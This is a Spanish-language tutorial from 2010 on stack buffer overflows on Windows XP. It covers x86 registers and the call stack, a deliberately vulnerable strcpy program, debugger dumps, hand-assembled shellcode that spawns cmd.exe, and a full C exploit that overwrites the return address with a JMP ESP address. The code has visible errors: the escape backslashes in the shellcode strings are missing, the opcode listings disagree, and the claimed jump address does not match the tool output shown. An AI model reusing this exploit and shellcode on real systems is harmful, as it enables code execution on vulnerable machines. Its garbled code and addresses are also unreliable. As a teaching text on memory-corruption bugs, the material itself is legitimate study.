Buffers Overflow y Exploits

Feb 17, 2010

La teoría que iremos viendo en este manual es para gente avanzada en programación y que posea unos minimos conocimientos de Emsablador,antes de comenzar con el tema veremos una serie de conceptos que hay que tener en cuenta antes de comenzar.

Conceptos básicos

  • C/C++: Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la base de nuestros sistemas operativos

  • Ensamblador (ASM): Es el lenguaje más "básico" que permite al programador interactuar con el CPU.Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es decir,1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de programación, a la hora de compilar (obviamente, los lenguajes de script no), convierten su código en instrucciones ASM.

  • Debugger (Depurador): Un debugger es un programa que permite ir "paso a paso", instrucción a instrucción a otro programa. Al ir instrucción a instrucción, podemos ver completamente que esta pasando, los registros, la memoria, etc, así como muchas mas funciones muy interesantes. Su función principal es la de auditar código, y ver el porque falla.

  • Dissasembler (Desamblador): Un desamblador es un programa que te muestra el código de un programa, una dll, lo que sea que este hecho de código que el desamblador entienda. Normalmente, te muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la conversión de dichas instrucciones C en ASM), aunque hay desambladores que permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por ejemplo.

  • Hex Editor (Editor Hexadecimal): No hay que confundir un dissasembler con un hex editor. El primero te muestra el código de un programa, el hex editor simplemente te muestra el contenido de un archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y modificar archivos que usan programas, tanto para fines "de programación" (el porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de "hacking" o "cracking".

  • La CPU (microprocesador): La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de ejecutar las instrucciones de un programa o sistema operativo, instrucción a instrucción, que estén en una determinada área de memoria. Se ayuda de registros donde almacena variables, datos o direcciones. Una explicación completa sobre el tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima información.

  • Registros de la CPU: La cpu (microprocesador) contiene una serie de registros, donde almacena variables, datos o direcciones de las operaciones que esta realizando en este momento. El lenguaje ASM se sirve de dichos registros como variables de los programas y rutinas, haciendo posible cualquier programa (de longitudes considerables, claro). Los más interesantes son:

    • El registro EIP siempre apunta a la siguiente dirección de memoria que el procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una detrás de la otra, salvo que dicha instrucción requiera un salto, una llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto, ejecutando las instrucciones en la dirección que especificaba el salto. Si logramos que EIP contenga la dirección de memoria que queramos, podremos controlar la ejecución del programa, si también controlamos lo que haya en esa dirección.

    • EAX, EBX... ESI, EDI... Son registros multipropósito para usarlo según el programa, se pueden usar de cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada uno tiene funciones "especificas" según las instrucciones ASM del programa: EAX: Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en EAX. También se usa para sumar valores a otros registros en funciones de suma, etc.... EBX Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones de memoria (para luego sumarles un offset) etc... ECX Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador, cuando ECX llega a cero, el loop se acaba. EDX Registro dirección o puntero. Se usa para referenciar a direcciones de memoria mas el offset, combinado con registros de segmento (CS, SS, etc..) ESI y EDI Son registros análogos a EDX, se pueden usar para guardar direcciones de memoria, offsets, etc..

    • CS, SS, ES y DS Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se suelen usar Registro+Offset para direccionar a una dirección concreta de memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de memoria, y un largo etc...

    • ESP EBP Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en profundidad cuando explique la pila. Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP). ESP siempre contiene la dirección del inicio de la pila (la cima) que esta usando el programa o hilo (thread) en ese momento. Cada programa usara un espacio de la pila distinto, y cada hilo del programa también. EBP señala la dirección del final de la pila de ese programa o hilo.

  • ¿Que es una vulnerabilidad? Una vulnerabilidad es un fallo que compromete la seguridad del programa o sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque vaya lento, a un programa que funciona mal al intentar hacer una división por 0. Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.

  • ¿Que es un exploit? Un exploit es un código, un "método", un programa, que realiza una acción contra un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un beneficio de la misma. Dicho beneficio normalmente es la ejecución de código (dentro de ese programa, con los privilegios del mismo) que nos beneficia, dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un usuario administrador al sistema, o incluso lo único que hacen es detener el servicio o el sistema, según nuestros propósitos. Habría que distinguir entre exploits "completos" (los que están completamente funcionales) y los POCs (proof of concept) que son exploits que demuestran que dicha vulnerabilidad existe y que es explotable, pero que no dan ningún beneficio o el beneficio es mínimo.

  • ¿Que es una shellcode? Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve para añadir un usuario a la cuenta del sistema, para descargar un troyano y ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el código que ejecutara el programa vulnerable una vez tengamos su control. No es nada difícil de programar sabiendo ASM básico y como funciona tu SO. Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya lo veremos en algún otro texto, se refiere a desbordar una variable declarada en el heap en vez de en la pila...), format string overflow (bugs de formato de las cadenas de texto), integer overflow (debidos a declaraciones de variables con un espacio mínimo o negativo que proveemos nosotros...), etc...

  • ¿Porque se le llama Stack Overflow? La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y quitar libros por la "cima" de la pila, por donde los añades. El libro de mas "abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar uno del medio, se puede desmoronar. Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en una pila para manejar las variables locales de un programa, los retornos (rets) de las llamadas a una función (calls), las estructuras de excepciones (SEH, en Windows), argumentos, variables de entorno, etc... Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos, se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y luego se llama a la función. Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma. Bien, una "llamada" a una función o dirección de memoria, se hace con la instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro (llama a lo que contenga ese registro). El registro EIP recoge dicha dirección, y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a esa dirección. Pero antes, el sistema debe saber que hacer cuando termine la función, por donde debe seguir ejecutando código. El programa puede llamara  la función suma, pero con el resultado, hacer una multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe saber por donde seguir la ejecución una vez terminada la función suma. Para eso sirve la pila. Justo al ejecutar el call, se GUARDA la dirección de la siguiente instrucción en la pila. Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de "retorno" al programa principal (o a lo que sea). Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la suma, se produce la suma y, como esta guardada la dirección por donde iba el programa, VUELVE (RETORNA) a la dirección de memoria que había guardada en la pila (el ret), es decir, a la dirección siguiente del call. Vamos a verlo paso a paso:

    1. Llegamos al call (EIP apunta a la instrucción call)
    2. Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde debemos ir)
    3. Se guarda la siguiente instrucción después del call en la pila (el ret)
    4. En ese momento, la pila esta así:
      ESP           | RET ADDRESS |   EBP -8bytes ESP +4bytes   | argumento 1 |   EBP -4bytes ESP +8bytes   | argumento 2 |   <--- EBP apunta aquí (la base de la pila)
    
    1. La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente, dentro de la función suma se usara la pila para almacenar datos y demás...)La función suma alcanza la instrucción RETN (retorno), y EIP recoge la dirección RET ADDRESS, y vuelve al programa principal, justo después del call suma.

Ejemplo de código vulnerable para Stack Overflow

#include <stdio.h>// librería stdio.h, funciones básicas de Entrada/Salida

int main (int argc, char \*\*argv) {// La función "principal" del programafunción
  char buffer\[64\]; //Declaramos un array con 64 bytes de espacio
  if (argc < 2){  // Si los argumentos son menores que 2...
    printf ("Introduzca un argumento al programan"); //Printeamos
    return 0;  // y retornamos 0 a la función main, y el programa acaba
  }
  strcpy (buffer, argv\[1\]); // Aqui es donde esta el fallo.
  return 0;  // Devolvemos 0 a main, y el programa acaba.
}

El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por argumentos al programa le podemos meter lo que queramos. Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp o Visual C++), generamos el archivo vuln1.exe. Al ejecutarlo en una consola MSDOS así:

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp. 
F:Rojodosmanual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA.... 

Os saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe cerrarse. Si pincháis en "Para ver los datos de los errores, haga click aquí", veréis que pone Offset:41414141. "A" en hexadecimal es 41. Es decir, hemos sobrescrito la dirección de retorno de MAIN () (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la pila) con AAAA --> 41414141 Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg. .Si abrimos Ollydbg y nos paramos justo antes del strcpy:

004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; strcpy
004012F0  |. 83C4 10        ADD ESP,10       <--- Estamos aquí

Miremos la pila:

0022FF00   0022FF28  ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04   003D24A3  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08   0022FF70  ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C   004012C4  RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10   77BE2048  msvcrt.77BE2048
0022FF14   0022FEF8
0022FF18   77BFAC19  RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C   0022FFE0  ASCII "AAAAAAAAAAAAA"
0022FF20   77C03EB0  msvcrt.\_except\_handler3
0022FF24   00000000
0022FF28   41414141  <-- Aqui empieza la variable buffer
0022FF2C   41414141
0022FF30   41414141
0022FF34   41414141
0022FF38   41414141
0022FF3C   41414141
0022FF40   41414141
0022FF44   41414141
0022FF48   41414141
0022FF4C   41414141
0022FF50   41414141
0022FF54   41414141
0022FF58   41414141
0022FF5C   41414141
0022FF60   41414141
0022FF64   41414141
0022FF68   41414141
0022FF6C   41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A
partir de aquí hemos hecho el overflow.
0022FF70   41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74   41414141 <--- Antigua dirección del ret del main () sobrescrito con AAAA
0022FF78   41414141
0022FF7C   41414141
0022FF80   41414141
0022FF84   41414141

El programa se para porque hemos sobreescrito el RET y no sabe por donde seguir. Un gran Overflow,pero así no nos serviría de nada.

Creando una shellcode

Para crear una shellcode que ejecute la función system("cmd.exe"); tenemos que compilar el programa en C,luego generar el exe y abrirlo con Ollydbg y codearlo para insertar en memoria.

0040B4EC  |. 55             PUSH EBP  <---- Aquí empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:\[EBP-8\],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:\[EBP-7\],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:\[EBP-6\],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:\[EBP-5\],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:\[EBP-4\],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:\[EBP-3\],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:\[EBP-2\],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:\[EBP-8\]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX  <--- Aqui acaba nuestra shellcode

Quedandonos con los opcodes unicamente obtenemos algo así:

55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3

y la shellcode codeada

x55x8BxECx33xFFx57x83xECx04xC6x45xF8x63xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45xF8x50xBBx44x80xBFx77xFFxD3

Creando un exploit

Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos AAAABBBBCCCCDDDD....Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por la dirección de la shellcode.Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD... Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode. ¿Como haremos que el programa funcione siempre si las direcciones de la pila varían? Si metiéramos directamente la dirección de la shellcode en la pila (una dirección del tipo 0022XXXX), tendríamos 2 problemas: La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio ordenador. Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!! Todos los programas de windows cargan la ntdll.dll por tanto,si usáramos el findjmp así:

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp kernel32.dll esp

Scanning kernel32.dll for code useable with the esp register
0x77E81941      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F. Por tanto hora de codear nuestro exploit, en este tipo de buffers siempre es: buffer + offset + shellcode

#include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()

int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv

char  evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";  //Para llegar el buffer y llegar al ret

char  shellcode[]="x55x8BxECx33xFFx57x83xECx04xC6x45xF8x63xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45xF8x50xBBx44x80xBFx77xFFxD3";  //Shellcode que ejecuta system("cmd.exe"), con la llamada a system  harcodeadaen x44x80xBFx77 0x77BF9044
char offset[]="x0Fx98xF8x77"; // Offset jmp esp ntdll32.dll WinXP SP1 Esp

strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
printf ("Cadena + offset + shellcode en formato printablenn");
printf ("%s", evilbuffer);

argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento
}

Y esto es todo amigos!!!